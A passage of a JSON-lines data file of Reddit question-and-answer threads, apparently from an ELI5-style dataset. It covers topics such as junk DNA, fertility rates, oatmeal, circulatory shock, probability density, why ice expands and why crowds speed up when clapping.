There could always be something we don't yet know about in so called \"junk DNA\"\n\n[EDIT] * It is *possible* that having less DNA to soak up potentially harmful mutations could be deterimental. **This is debated**, but you can get the essence of the argument by realizing that if you have more DNA, there is less chance of a mutation affecting something super important important (like a gene). [Source](_URL_0_)\n\nThat being said, we can remove parts of the genome without really seeing negative effects, but exactly how much we don't know. I don't think anyone would say having a \"optimized genome\" free of any nonfunctional DNA (in the traditional sense) is a good idea.", "I support what everyone else is saying.  Protein coding genes are easy to understand and to find; so scientists have gone after those first.  Now we are starting to get at what all the other sequence does.  \n\nAn additional consideration is that DNA exists in the 3 dimensional space of the nucleus.  We are just starting to get a handle on what parts of our genome are next to each other physically (see the [Erez Lieberman-Aiden *et al* 2010 Science artilce](_URL_0_) for a new approach on answering this question).  I would not be surprised that disrupting the spacing between genes, or between exons, would have a large impact on how and when genes are expressed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Junk_DNA#Functions_of_noncoding_DNA", "http://en.wikipedia.org/wiki/Junk_DNA#Junk_DNA", "http://www.sciencedaily.com/releases/2009/05/090528203730.htm"], [], ["http://www.springerlink.com/content/153461j3472x8k64/fulltext.pdf"], ["http://www.sciencemag.org/content/326/5950/289.full?sid=e51f99c1-518d-41fd-b840-95ed437e647a"]]}
{"q_id": "94aqlu", "title": "why were fertility rates so high in the 60-70's?", "selftext": "I'm doing research on developed countries and their low fertility rates but I noticed that in the 60's and 70's almost all of them had a fertility rate well over 2 children. Why so? Is there anything we can do to bring this back? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94aqlu/eli5_why_were_fertility_rates_so_high_in_the_6070s/", "answers": {"a_id": ["e3jj73v", "e3jjeas", "e3jjen2", "e3jjucb", "e3ju36b", "e3kbe5z"], "score": [11, 2, 4, 15, 2, 2], "text": ["Why would anyone want to bring back higher birth rates when there are already 7.6 billion people on the planet?\n\nI'm not sure why birth rates were higher back then, as I'm sure there are many factors to it, but I wouldn't be surprised if it's because there weren't as many forms of birth control as there are today. ", "Read about \u201cDemographic Transition\u201d.\n\nNobody\u2019s exactly sure why it happens, but it\u2019s agreed that it\u2019s some combination of urbanization, access to contraception, women entering the workforce, and greater investment in children\u2019s education.", "To fully answer this we would need details as to which countries you are referring to. During the 60s-70s there was the Vietnam war as well as numerous satellite conflicts in the name of the cold war. The Islamic revolution also happened during this time frame. ", "Better sex education, higher education, increasing costs of having a child are also major reasons. It's very difficult to have only one parent work these days compared to the 60's and 70's. \n\nThe only way is to make it more affordable for parents to have children, and provide incentives for them to do so. \n\nWithout replacement, the growing population of adults will have trouble finding taxpayers to fund government programs as they age. An alternative is increasing immigration rates, but that seems to be unpopular in many countries.", "The question as posed doesn't make sense and you need to provide more information to get an accurate answer.\n\n1 -  Fertility rate and birth rate are not the same thing. \n\n2 - How are you defining \"developed countries\"?\n\n3 - When you say \"so high\" what does that mean? \n\n4 - When you say \"well over 2 children\" what does that mean? 3 children? 10 children?", "The expectation of loss for children due to zero vaccinations or birthing complications. Modern parents are greeted with a far better chance of survival for their offspring, and a recent stagnation in wages without a corresponding drop in living costs is creating less financial freedom to procreate.\n\nOld census data collected used to have a telling column next to 'number of children' labeled 'number deceased'. Very few families would leave a 0.\n\n > Is there anything we can do to bring this back? \n\nThe question is, [do we really want to](_URL_0_)?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://dl.dropbox.com/s/7hox7k32hmvxfjy/themosteffec.jpg"]]}
{"q_id": "86sh2y", "title": "Was sociopathy more common in medieval ages since life was tougher for a lot of people?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/86sh2y/was_sociopathy_more_common_in_medieval_ages_since/", "answers": {"a_id": ["dw92y27"], "score": [12], "text": ["This is a question that I think is impossible to answer--there were no clinical assessments of something like sociopathy until the 20th century. It's very difficult to get estimates of historical crimes other than murder (see [here](_URL_1_)); I'm sure it's harder still to work historical rates of illness. You can find lots of threads on here that are basically, \"Have historians figured out what this person died of?\" and the answer often is, \"Well, there are a couple of different theories. We think this is the best theory now, but thirty years ago we might have said something else.\" I wrote one of those on \"[The English Sweat](_URL_0_)\", which is likely an otherwise unknown form of Hanta virus, but it goes into how even when we're pretty sure people died of a known disease, we're often not sure based on description *which* known disease it was based on descriptions. Now you can imagine how much harder this is both for mental illnesses and for figuring overall rates of these diseases.\n\nOne thing I will add is that *most* people in Medieval Europe would have been peasants. As a general state, we can say our lives today are much more atomized and individual than life was for people in the past. Peoples's identities were often nested within ties of family, community, and even hierarchy (landlord/local notable had certain responsibilities to his peasants just as they had certain responsibilities to them). Even today when I interact with people in, say, Turkey, it's hard to explain that just because someone's uncle is rich they are not also rich. Life was, in general, much less individual. This is likely a high point, or near a high point, for individualism and anonymity in human history.\n\nAs we transfer from a mostly agrarian society to an increasingly industrial society due to early scientific farming methods and the industrial revolution in the 19th century, we have an increasingly urban society. 19th and early 20th century thinkers are all about this, how society is changing, how people are less embedded in a community or, alternatively, conceiving it as being simultaneously being more weekly embedded in more communities. Marx talks about this as \"alienation\", Simmel talks about how we are embedded in multiple communities in his \"Metropolis and Mental Life\" and how this is potentially freeing (not alienating), Durkheim talks about the transition from \"mechanical solidarity\" to \"organic solidarity\", and so forth. This doesn't necessarily mean anything for sociopathy, but I just want to highlight it to show that tough times in some social structures may mean not more greed and individualism but more relying on communal and familial ties. People generally married within communities, lived their whole lives within communities, and their reputations within those communities were very important and tied not just to their individual actions, but the actions of their families. Social control within communities and families was generally higher, and also took different forms (or at least, that's what a lot of historical sociologists have argued). Again, I am saying this only very provisionally, but there was a rather large change in social structure in the 19th century with the rise of a more urban and industrial capitalism that 19th and early 20th century thinkers were trying to grapple with. Any attempt to answer this question (and again, in the first, I'm not sure a definitive answer is really possible) I think needs to keep that change in mind."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7mgeg0/is_there_any_evidence_of_diseases_that_existed_in/?utm_source=reddit&amp;utm_medium=usertext&amp;utm_name=AskHistorians&amp;utm_content=t1_dsb08p1", "https://www.reddit.com/r/AskHistorians/comments/7wp9s7/how_widespread_was_rape_in_the_general_population/du2w48f/"]]}
{"q_id": "75xe1p", "title": "what exactly happens in the process of making oatmeal?", "selftext": "I made some oatmeal this morning and I was wondering what happens to turn a thin loose soup into a thick slimy paste. How does the heat play a part? Do the oats release some sticky substance or is it the sugars doing? Please explain, thank you in advance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/75xe1p/eli5_what_exactly_happens_in_the_process_of/", "answers": {"a_id": ["do9mqyg"], "score": [3], "text": ["Mostly, it's the dried oats absorbing water. Heat makes this process faster and more effective. Very similar to rice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "xdhbr", "title": "Does your brain prioritize itself higher than other bodily organs?", "selftext": "Just struck me the other day:\n\nSay you're in some sort of traumatic accident, involving lots of blood loss and a good chance of death. Would your brain sacrifice itself (at least some functions) to preserve other vital organs, or would it try to cling to as much blood and oxygen as possible?\n\nAre any organs in particular regarded as more essential than other vital organs?\n\nJust curious, I'm really more wondering if the brain could specifically value itself higher than other organs.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xdhbr/does_your_brain_prioritize_itself_higher_than/", "answers": {"a_id": ["c5li1hg", "c5li4c9", "c5ljlmm"], "score": [2, 2, 2], "text": ["Yes. Ohhhh yes. It's self defense mechanisms are designed to keep the brain running at all costs. Passing out is a big defense mechanism because suddenly your brain is lower, meaning blood can much more easily get to your head. Also the way you pass out is important. When somebody passes out they don't just down fall over like a board you pushed. They crumple. This, again, is done in a way to protect the brain because who cares if you break an arm on the way down, you are falling in a way that minimizes the chance of your brain getting hit. ", "A reason the brain preserves itself over others is that it does not store energy in ways other organs like the liver does. That means the brain wont mind a cut of blood to the liver as much as it does the brain, and why brain damage is caused so quickly after lack of oxygen.", " > Are any organs in particular regarded as more essential than other vital organs?\n \nA good example to explain this is shock. Now, causes of circulatory shock are manifold (septic, anaphylaxis/toxic, cardiac, hypovolemic, etc.), but for the sake of this example let's assume you suffered great blood-loss through some kind of (non-head) injury, leading to a hypovolemic shock, i.e. you're running out of blood.\n \nIn such a situation your body will try to keep itself alive as long as possible and will compensate the blood-loss by focusing the perfusion on the heart, lungs and brain. This centralization of the circulation will lead to a hypoperfusion of your extremities, bowels and kidneys - basically everything that isn't either heart, brain or lung - because you need these 3 organs to stay alive at any cost, everything else is expendable (at least for the moment. You can survive short periods of time without any kidney function, but you can't survive short periods of time without breathing or circulation).\n \nThe brain in this case is not only important because it is the control-center for your physiological and vegetative functions (it controls and adjusts heart & lung-function), but also because it is very bad at tolerating hypoperfusion and hypoxia.\n \nThis centralization goes so far, that it may indeed cause great harm to the body. The bowels and especially the kidneys can suffer damage from prolonged hypoperfusion, which often becomes a problem in intensive-care, when a patient recovers from an immediate shock (in Germany we use the term \"Shockniere\" = shock-kidneys, to describe renal-failure after a circulatory shock). More importantly though, the low blood-flow to the rest of your body will eventually lead to leakage of the blood-vessels and a relaxation of your smooth muscles, which results in a break-down of the centralization and eventually to death. This is, why an untreated circulatory shock is always deadly - the compensatory mechanisms of the body can only hold out for so long.\n \n(Btw, of course shock is much more complex, especially the refractory and progressive phase, but those aren't necessary to be explained in this example).\n \nSo to answer your question, the brain does indeed prioritize itself over most other organs, altough it shares its top-priority with the heart and lungs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7qdiqv", "title": "how can softer materials wear down harder ones?", "selftext": "How can softer materials wear down harder ones, if you only wait long enough? (e.g. like in these stairs: _URL_0_)\n\nIf one item is is softer than the other, why should it matter how many \"interactions\" there are? Repetition doesn't change their relative hardness. Or what's going on there?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7qdiqv/eli5_how_can_softer_materials_wear_down_harder/", "answers": {"a_id": ["dsoe58w", "dsohwnp", "dsokoqd", "dsonle5", "dsp3ocp"], "score": [15, 4, 8, 4, 2], "text": ["There have been many more soft surfaces on the hard surface. the hard surface still sees wear for each interaction it is just much less than the soft surface", "Why wouldn't it? Every physical interaction always goes both ways, as per Newton's Third law. The step inflicts some pressure and friction on the shoe, and shoe - on the step. Neither of them is invulnerable, so they both wear out.", "Newton's third law. If I punch a stone, the only one hurt would be me, since the stone can handle the force of the impact a lot better than the small bones in my hand. But if I had, say, 100 000 people all lined up, and everyone punched the stone and then went to the back of the queue, the force of repeated impacts on the stone would eventually start to show.\n\nWhat I mean to say is that both items are affected by the same amount of force. The harder item handles the force a lot better, but it still experiences it, and will eventually start to wear down, albeit at a lot slower rate. If I have infinite sticks, it doesn't really matter if hitting a rock until the stick is completely broken only wears the rock down by 0.1% (so the rock wears 0.1% for every 100% of stick) or so. It might take some time, but I can eventually break the rock. It would only take a thousand sticks, and probably quite a bit of time.", "I suspect the truth is a little simple. Hard surfaces can be worn down when even harder materials, such as sand, are rubbed over them again and again. So if people walked over the stairs with sandy or dirty shoes for decades, you can easily wear down stone or concrete steps. ", "It is not the shoes that wear away the stone, but the sand and grit that they rub against it. The sand is as hard as the stone, or harder in the case of limestone.\n The process is called lapping, and is basically a much slower version of grinding. "]}, "title_urls": [], "selftext_urls": ["https://i.imgur.com/BuEyNjt.jpg"], "answers_urls": [[], [], [], [], []]}
{"q_id": "3b0vg0", "title": "In 1795, the Polish-Lithuanian Commonwealth was partitioned for the third time and essentially didn't exist after that. Are there any other instances of a nation being essentially \"wiped off the map\"?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3b0vg0/in_1795_the_polishlithuanian_commonwealth_was/", "answers": {"a_id": ["cshw0k4"], "score": [2], "text": ["I think this post violates the subreddit rules, specifically concerning [\"throughout history\"](_URL_0_)-type questions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions"]]}
{"q_id": "2l5ozz", "title": "why does psychological pricing work on humans ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2l5ozz/eli5_why_does_psychological_pricing_work_on_humans/", "answers": {"a_id": ["clrorp3"], "score": [2], "text": ["It's called the left-digit effect. People believe that a price that reads $9.99 is a better option to $10.00 because they believe they are getting a better deal. Next time you go out to the store, notice the strategic pricing. Most prices end in $ .99, $ .95, and $ .49. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bm7yol", "title": "How do they detect the direction gravitational waves come from?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bm7yol/how_do_they_detect_the_direction_gravitational/", "answers": {"a_id": ["emuo5px", "emuo6zd"], "score": [17, 8], "text": ["A single detector can't, anymore than a single microphone can detect where a signal is coming from.\n\nThey use arrival times between multiple sites, just like how you use your ears, to get location.\n\nThis is why when there were only 2 ligo detectors the direction of the wave would be spread across the entire sky in a line.\n\nOne they had a third detector ( Virgo ) then they can get a much smaller circular spot in the sky.", "Localization of the source of a gravitational wave is determined by looking at the strength and the time-delay between the the gravitational wave signal detected by multiple detectors.  This is why having multiple detectors at different locations, and with different orientations, is good (LIGO Hanford/Livingston, VIRGO, etc).\n\nThe signal will depend on how aligned the gravitational wave travel direction is with the detector arms.  So if one detector sees a stronger signal, compared to a second with different arm alignment, this gives an indication of the travel direction of the wave.  Additionally there can be millisecond time delays between the detection time, since the wave will take slightly longer to reach different detectors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cjp9d4", "title": "what is a probability density?", "selftext": "Would anyone please explain what a probability density is and what is its use?\n\nThank you all very much in advance\n\n & #x200B;\n\nEdit: \n\nHi everyone. a huge thank you to all of you that generously helped and provided thorough explanation. I really and I mean it, really enjoyed reading all of your answers, \n\nand each one of them make it more clear for me.  it was as if all answers complemented each other :)\n\nI sincerely thank you all and wish you the best. \n\nThank you all very much:)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cjp9d4/eli5_what_is_a_probability_density/", "answers": {"a_id": ["evewa7k", "evewq7c", "evewxg7", "evfbn8i", "evfdvpn", "evff2r3", "evhgsjx"], "score": [6, 22, 2, 2, 3, 2, 2], "text": ["The way I understand it, it's a volume or system that contains varying probabilities for (I'm guessing you're talking about electrons) something to occur at any given time.    \n\nLet's take a basketball as an example. You are bouncing a basketball up and down. Your epretty good at it and you don't drop the ball, or anything. You're just standing there, bouncing it up and down for half an hour.    \nThe ball spends more time on the ground and touching your hand than it does flying between them.  \nNow, take all the single bounces, and record the ball's position every, say, tenth of a second. You get a bunch of points close to your hand and the ground, and fewer points in between, because the ball spends less time travelling between the ground and your hand, that it does when it stops and changes direction.   \nWhat you have there is a *probability gradient.*   \n\nThis means that if you were to consider that system (someone bouncing a basketball up and down), you could try to predict where you'd most be likely to find the ball at any given time.   \nSince the ball spends more time touching your hand and the ground, the probability density at those points is greater than in the space in between.", "You can divide random variables into two types: discrete and continuous.\n\nDiscrete random variables have precise values that they can be. For example, the roll of a 6 sided dice can be any integer value from 1 to 6, so you'll never get 2.5 for instance. \n\nContinuous random variables can have infinite possible values that they can be. Some things that can be considered continuous variables are height, weight, time... \n\nIf you want to know \"What's the probability that a person weighs exactly 100 kilograms\" then the probability is zero, because they can weigh any value from 0 to (lets say) 1000 kilograms. There's infinitely many values in that range.\n\nNow, if you can define an interval instead of a single value, then it makes sense talking about probabilities with continuous variables. Using the same example, if a person was 1kg off, maybe it's close enough for your purposes. So if you consider everyone weighting between 99kg and 101kg, now you can look up at your probability density function and multiply (or integrate) it in this interval.\n\nThe probability density function has higher values for more likely events. So still using the last example, the probability of finding someone between 99kg and 101 kg is much greater than finding someone between 399kg and 401kg, even though both intervals are the same size", "It is a function where on each spot of the x-axis, the corresponding value on the y-axis is the probability for that x value to occur within a sample - it shows how the values within a sample are distributed.  \n\n[Take this as an example.](_URL_0_) It denotes the length of fish pulled from a population.[^(source, with some more detailed explanation)](_URL_1_) The density function shows how the length of these fish are spread - i.e. the curve is low at the extreme ends, as very small or large fish are rare (low probability), and peaks where most samples are concentrated.  \nWhat's more, the area under a section of this density function is equal to the probability of a value falling within that range. So for this case, the area marked black is the probability of a fish having a length greater than 205 and smaller than 215.  \nSo in other words, the density function lets you calculate (and visualize!) the probability of certain values or percentiles within a sample quite easily.", "It's the chance you'll find something somewhere.\n\nIf we have 3 locations, your house, your school or work, and \"everywhere else\", measure once per hour where you are for an entire year, and then calculate the chance of you being found at one of them we'd get something like: 50% house, 30% school/work, 20% elsewhere. \n\nIf you're on vacation you're going to get \"elsewhere\" for an entire week! But the probability density we outlined above doesn't care as over the course of a year you're \"elsewhere\" 20% of the time. \n\nImagine adding day of the week and time of day to our data we sampled. Now our probability density function is more complicated because the chances change depending on the time and day of the week. At the same time, you will get a far more accurate picture of where someone might be.", "Probability density refers to how likely it is that a random measurement falls into a particular range of values.\n\nFor completeness, let's get some things straight about probability. In general, we talk about probability as a decimal number between 0 and 1. If the probability of something is 0, then it will never happen, and if it's 1, then it's guaranteed to happen every time you measure something.\n\nMost people are familiar with probability in the discrete sense (where you can write down all the possible outcomes). Things like die rolls, coin flips, and decks of cards are easier to understand. The probability of rolling a 2 on a die is 1/6, because there are 6 possible values, and they're all equally likely. The probability of rolling a number between 2 and 5 (inclusive) is 4/6, because that range contains 4 of the 6 possible values.\n\nWhen we start talking about probability for continuous values, we have to think a bit differently. If you're familiar with continuous functions, then you know that there are infinitely many values contained inside any range you choose. Consider the probability of the temperature outside being 30\u00b0. 30\u00b0 is one possible value, but there are infinitely many values, so the probability of the temperature being EXACTLY 30\u00b0 is 1/\u221e \u2248 0.\n\nSo, for continuous variables, you can't know the probability of a single value. To get around this, we say \"ok, what is the probability that the temperature is between 25\u00b0 and 35\u00b0\"? To find that out, you need to know the probability density function.\n\nA probability density function (PDF for short) tells you the fractional probability for a very small range of values. If you're familiar with calculus, then the PDF for P(x) is the total probability that the measurement will be between x and x+dx. If you don't know calculus, that's cool, it's not required information. Just think of the PDF as similar to regular density. An object that is very dense has more mass in a small area, and vice versa. Sometimes you have an object that has varying density - let's imagine a ruler that is most dense on the 0 side and least dense on the 12 side. It makes sense that there is more mass between 1-2 on the ruler than there is between 10-11, right?\n\nPDF's work the same way. They tell you whether there's more likelihood between 1-2 than between 10-11.", "At its core, probability is quite simple. If I tell you that P(x) is a function whose output indicated the probability (between 0 and 1) that x could hold a certain value, you could apply quite easily. For example, when flipping a coin, I could ideally say that P(heads)=.5 and P(tails)=.5. Now, this is a very simple type of probability, but you can make much more complex systems. A common application of probability density is in quantum mechanics. You might have heard of the uncertainty principle which states you cannot know both a particle's velocity and its position to absolute precision. Also, as you measure one of those properties more finely, the other becomes more uncertain. Thus, as you confine a particle's position to measure it, the velocity increases. Inversely - and this is where it gets weird - as you try to limit a particle's velocity, it becomes kind of delocalized. This is because particles don't really exist in the way you might think they do. They aren't balls flying through space bouncing off things. In reality, particles are defined by the area where they /might/ exist. \n\nFor example, with an electron in a hydrogen atom, the electron conforms to a spherical shell (think of a hollow ball). We can't know where in that shell the \"electron particle\" is, but we can be confident it's somewhere in there. Another thing to note is that the electron isn't equally likely to be anywhere in the shell. There are places where it's more and less likely to be. As you move away from this shell, the probability drops quickly. Thus, the probability that the electron is in the nucleus or significantly outside the atom is very close to, but not exactly, zero. So, we use a mathematical tool which can tell us the probability that the electron is in any given spot in 3d space. To create this tool, we take the simple probability function P(x,y,z) which tells us the probability of finding a particle at a given point, and integrate it over the volume of the atom. Since this is ELI5, I'll try to explain how this integral works and why it's useful.\n\nAn integral is basically just a ton of addition and multiplication bundled up neatly. For example, if you have a straight line on a plot and were told to integrate it, you could do so by drawing a bunch of tall skinny rectangles under the line, then adding up their areas. Now, this method has an issue. As we know, rectangles don't have slanted tops so this method will either leave out some space under the line or count some space that's over the line. However, if we use our imagination and make the rectangles infinitely thin, so thin that the width goes to /almost/ zero we can make that problem go away and, once we sum up all the areas of those skinny rectangles, we get a very accurate value for the area under the line.\n\nWhen applied to this 3d probability function P(x,y,z), you don't just have a line on a flat plot, you have a shell. So how do we make rectangles then? Well, for a 3d object, we need a 3d rectangle. In this case, we use tiny cubes. Then, we take the probability at the location of that cube and multiply it by the volume of that cube. The result is a probability density. Due to the nature of probability and our requirement that the electron be /somewhere/, we can say that all of these probabilities must add up to 1. Thus, if we evaluate the integral of our probability function, we should get 1. Once we confirm that, we know that our probability density is valid. Using this density, we can get a good idea of where the electron is most likely to be and where it's least likely to be. Just to go a bit deeper, it turns out that until we try to measure it, the electron is actually kind of everywhere in that shell all at once. This means that the probability density is indicative not of where an electron is, but where it would be if we checked. Only when we really poke the system does the electron decide where it wants to be. Physicists call the electron's decision a \"collapse of its wave function.\" You can learn about particle wave functions and their nature by researching the dual slit experiment, but that's a whole 'nother ball game. I hope this helps clarify what a probability density function is and how it can be useful. Keep in mind quantum mechanics isnt the only place this math is useful, just a big one.", "Concisely, a probability density is a function whose codomain (range) is the interval \\[0,1\\] with the following constraint:\n\nIf the function has domain consisting of values d0, d1, d2, etc. up to dn, then\n\nf(d0) + f(d1) + f(d2) + ... + f(dn) = 1\n\nSo an example is the probability density of the color of a ball randomly selected from a bag of 2 red balls, 3 yellow balls, and 5 green balls.\n\nThen the domain of the function is the 3 colors, and\n\nf(red) = 0.2\n\nf(yellow) = 0.3\n\nf(green) = 0.5\n\nf(red) + f(yellow) + f(green) = 1\n\nIntuitively, f encodes the likelihood or probability of selecting a ball with a given color from the bag.\n\nWhen studying probability, you know the probably density and answer questions such as \"what is the likelihood of selecting 2 red balls in a row?\"\n\nWhen studying statistics, you don't know the probability density and are tasked with determining what it is within some degree of certainty based on a sample of balls selected from the bag."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.engineeredsoftware.com/nasa/images/Image25.gif", "http://www.engineeredsoftware.com/nasa/density.htm"], [], [], [], []]}
{"q_id": "7zh726", "title": "if molecules expand from solid to liquid, and then even more from liquid to gas. why does volume expand in water when going from liquid to solid? shouldn't the ice be smaller than water?", "selftext": "Or am I missing something? Or are molecules unrelated to form changes/size? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7zh726/eli5_if_molecules_expand_from_solid_to_liquid_and/", "answers": {"a_id": ["dunxl96", "dunxscq", "dunzuup"], "score": [15, 5, 2], "text": ["Generally speaking what you say is true. But water is an exception to this.\n\nWater is a polar molecule meaning the negative charge generated by the electrons are concentrated slightly on one side of the molecule.\n\nWhen water is a liquid, individual molecules have too much energy for this slight difference to have an impact. As water cools down, the molecules have less energy and water begins to lose volume.\n\nAt around 4 degrees Celcius, however, the molecules are slow enough that the polar nature of the molecule begins to have an effect. The molecules begin to arrange in somewhat of a crystalline fashion, with positively charged ends lining up with negatively charged ends. This crystalline shape takes up more space, so as you continue to decrease the temperature beyond 4 degrees, the volume of the water starts expanding again as it crystallizes.\n\nIn the end, the crystalline structure of ice is less dense than liquid water, which is why ice floats. And why life on Earth is possible.", "Liquid is like all the molecules are slow dancing with a special someone. They move back and forth, so it takes up a bit of space.\n\nUsually, solid is like all the slow dancing couples hug each other tightly, and don\u2019t move. It takes up a lot less space then when they wee dancing.\n\nWith water, when it becomes ice, it hugs too, but it isn\u2019t hugging tightly. Instead, it basically is holding hands with the SIgnifigant other, but trying to keep its body as far away as possible, like an O shape. This ends up taking more space than when it was dancing.", "_URL_0_\n\nTake a look that this for a simpler clarification."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.sciencelearn.org.nz/system/images/images/000/000/658/embed/Water_in_its_three_states_of_matter.jpg?1473716292"]]}
{"q_id": "b1nxs8", "title": "why do humans tend to increase the tempo when clapping, chanting, or keeping the beat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1nxs8/eli5_why_do_humans_tend_to_increase_the_tempo/", "answers": {"a_id": ["ein6dlv", "ein6wzj", "ein72gf", "ein808x", "ein82s1", "ein84ct", "ein85te", "ein93s0", "einaded", "einao0p", "eind8at", "eingv3d", "einibyj", "einice1", "einlx5y", "einmjuc", "einmz4b", "einpeqv", "einq86t", "eins4i4", "einublw", "einwnrc", "einygd7", "eio7h0j", "eiofy8x", "eioqp3v"], "score": [2, 5838, 1022, 7, 31, 64, 5, 324, 11, 218, 31, 2, 2, 8, 2, 2, 2, 4, 3, 2, 2, 5, 2, 2, 2, 3], "text": ["Because chanting and clapping were how ancient humans got each other hyped up for the hunt/mating rituals/war. By the time everyone is ready to go attempt stabbing a mammoth they've worked themselves into a fury. It's a primal thing. ", "Anticipation; everyone is waiting on each other to keep rhythm, someone claps early in anticipation, others follow suit.", "Because keeping in time is hard for lower frequencies, so when someone goes out of sync, someone else tries to match them, getting it wrong, and then someone else trying to match them, and it escalates away. The psychological side is increasing beats is like increasing heartbeats. More adrenaline. Keeping a slow-clap going is very hard, even if there is a loud tempo setter. \n\nEscalating frequencies is kinda like this: _URL_0_", "Not in Spain.  The audience pays the highest honors when everyone claps in unison.  It\u2019s the coolest thing ever.  Goosebumps.  ", "Musicians learn to mentally subdivide a beat into smaller divisions, which makes it easier to keep a steady tempo. This is especially important with slower tempos. Instead of counting \u201c1, 2, 3, 4,\u201d we count \u201c1  e  &  a, 2 e  &  a...\u201d (or something similar). Always thinking of the subdivisions keeps you from compressing the beats and speeding up. I don\u2019t think non-musicians necessarily do this, which may account for the speeding up with group clapping.", "The human brain keeps many \u201ctempos\u201d in and throughout our body. This typically applies to things we do unconsciously, such as our heartbeat, or things that we do semi-consciously, like our walking pace.\n\nYou know how your heart beat gets faster when you get excited? Typically all of the internal tempos in our brain start moving faster or slower depending on emotional state.\n\nSongs that usually provoke clapping and chanting cause us to be excited, which is an emotional state that increases heart rate and other internal tempos.\n\nOne of the most difficult things for musicians to learn isn\u2019t a brand new song, but rather how to keep correct tempos among songs for just this reason. We use metronomes when learning music to attempt to override our internal tempos, because those internal tempos if untrained may increase or decrease depending on how comfortable they may be with different parts of songs.", "I think people just get excited and clap early cause they\u2019re having a lot of fun.\n\nWe\u2019re all monkeys at heart.", "Maybe another thing to consider is that slower tempos in general are harder to perform than faster.  The slower the tempo the greater the space in between each note.  That space is much more difficult to negotiate at 30 bpm than at 180 bpm.  We naturally move up to a more comfortable tempo that we don't feel like we're almost guessing at from one beat to the next because it's so slow.  ", "In orchestra my teacher always called it \"rushing\" the beat.\n\nI cannot say the psychology behind it, but I can explain my own head-thought with it.\n\n\"You know what is coming next, you are prepared, you dont want to be late, so you lead into it, oops, you were early, too fast - well you almost got it.\"\n\nWhile that is a very heady-logical part for something more complex than clapping, I think there is a bit of that, a rush to keep included with the stem, not wanting to lag behind. Being late feels worse than being early, so you error a little too early, but in a much more subtle way. A lot of social engagement there. I always found a beat easier to keep when I was alone than when. In a group, even if the beat was the same/controlled, something about it being in a group increased the tendency to rush it.", "Percussion Instructor and (former) touring musician here:\n\nMost do, because as others have said, they're anticipating...but there's more to it.\n\nIf you're talking about recorded concerts, keep in mind that microphones (and, for that matter, your own ears) are fixed points in space, and sound takes time to travel. \n\nIf an entire audience is trying to clap along with the backbeat (or, if this is a country music concert, the bass drum) they're going to be anticipating when they're going to hear it and clap then.  But the sound they're waiting to clap along with has to travel to them- and then the noise of their clap has to travel back to the microphone that is picking up the sounds.", "Drummer here. It\u2019s our heartbeats. As we keep tempo, we get more excited, our heartbeat increases, and we start to increase how fast we perform. This is why metronomes are helpful and why some drummers listen to metronomes during live performances. Our tempo can\u2019t always be trusted naturally. ", "Well, there is just always people with no sense of rhythm so they'll just clap whenever but in a big mass of people where everybody tries to do what others do this messes up everybody else", "Because we have no rhythm and hide it by changing it.", "I've found it's excitement. I'm a drummer, and if I'm not playing to a click and into a song, I subconsciously play faster. \n\nIn some cases it can be one person's lack of rhythm that fucks up the people around them, and it cascades from there depending on the size of a crowd. ", "Yea but go to a Berklee college of music hockey game and you will likely not hear/see them rushing the beat.", "Huh, coming from marching band and concert band most of my experiences are people clapping/playing too slowly.", "I once saw a video about the optimal tempo of music. People don't just tent to increase in tempo - but will also decrease in tempo if the tempo is already fast. A lot of classical music is played in a tempo different from that noted on the note sheets. Just because the tempo is more suiting.\n\nKeeping this in mind my answer to your question will be - because we start out slow.", "Because many people have no talent, rhythm or musical training.", "As a musician I can tell you that there is a tendency to play your music faster while you're preforming. This is because the adrenaline rush you get before playing to a crowd. You have to go through a learning process to stop doing it. Maybe it's the same reason ", "As a drum major in high school, we had to keep tempo at a super fast and anticipated pace. If we kept tempo as we heard it, the time delay across the football field would actually be way late and slow the band down.", "It\u2018s increasing because there is more time between the beats. Thats easy to spectate when you clap twice in a row, seperating the beat in 2 equal claps. Now you tend to hang on to the tempo, because your more accurate because you \u201eclap faster\u201c. Now do that in your head and you stay at the tempo you want. That means we tend to get faster becuase we have a to large break between the beats", "This is not my experience at all. Some drummers lag and slow everything down. It's not a human universal. ", "Anticipation! Even bands that don't play on a metronome speed up the song naturally when playing live. I remember sometimes our set would end 5 minutes early just because of the speed! ", "I\u2019m a music teacher and we\u2019ll all tell you that when students are struggling to play in time it is ALWAYS because there are rushing, or playing ahead of the beat.  My theory is that we are anxious by nature, and it is a natural belief that if your struggling you\u2019re probably not going fast enough.  When you really start to explore time in music, a single rest can actually be an excruciatingly long amount of time at a slow tempo.  The way musicians do it is by \u201csubdividing\u201d or splitting the beat into smaller segments in our minds.  The simplest way is instead of 